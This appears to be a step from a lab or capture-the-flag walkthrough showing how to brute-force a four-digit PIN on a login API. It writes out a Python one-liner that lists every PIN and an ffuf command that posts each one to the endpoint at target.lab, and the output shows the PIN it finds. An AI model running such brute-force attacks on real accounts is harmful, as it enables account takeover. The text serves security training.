A 4-digit PIN has 10,000 possibilities (0000–9999). Generate the list with Python and pipe it into ffuf.
Command / Input
python3 -c "print('\n'.join(f'{i:04d}' for i in range(10000)))" > pins.txt
ffuf -u http://target.lab/api/auth/login \
-X POST \
-H "Content-Type: application/json" \
-d '{"account":"10042871","pin":"FUZZ"}' \
-w pins.txt \
-fs 23
Output
[Status: 200, Size: 89] 4291
⚑ The valid PIN is 4291. With no rate limiting, this takes under a minute.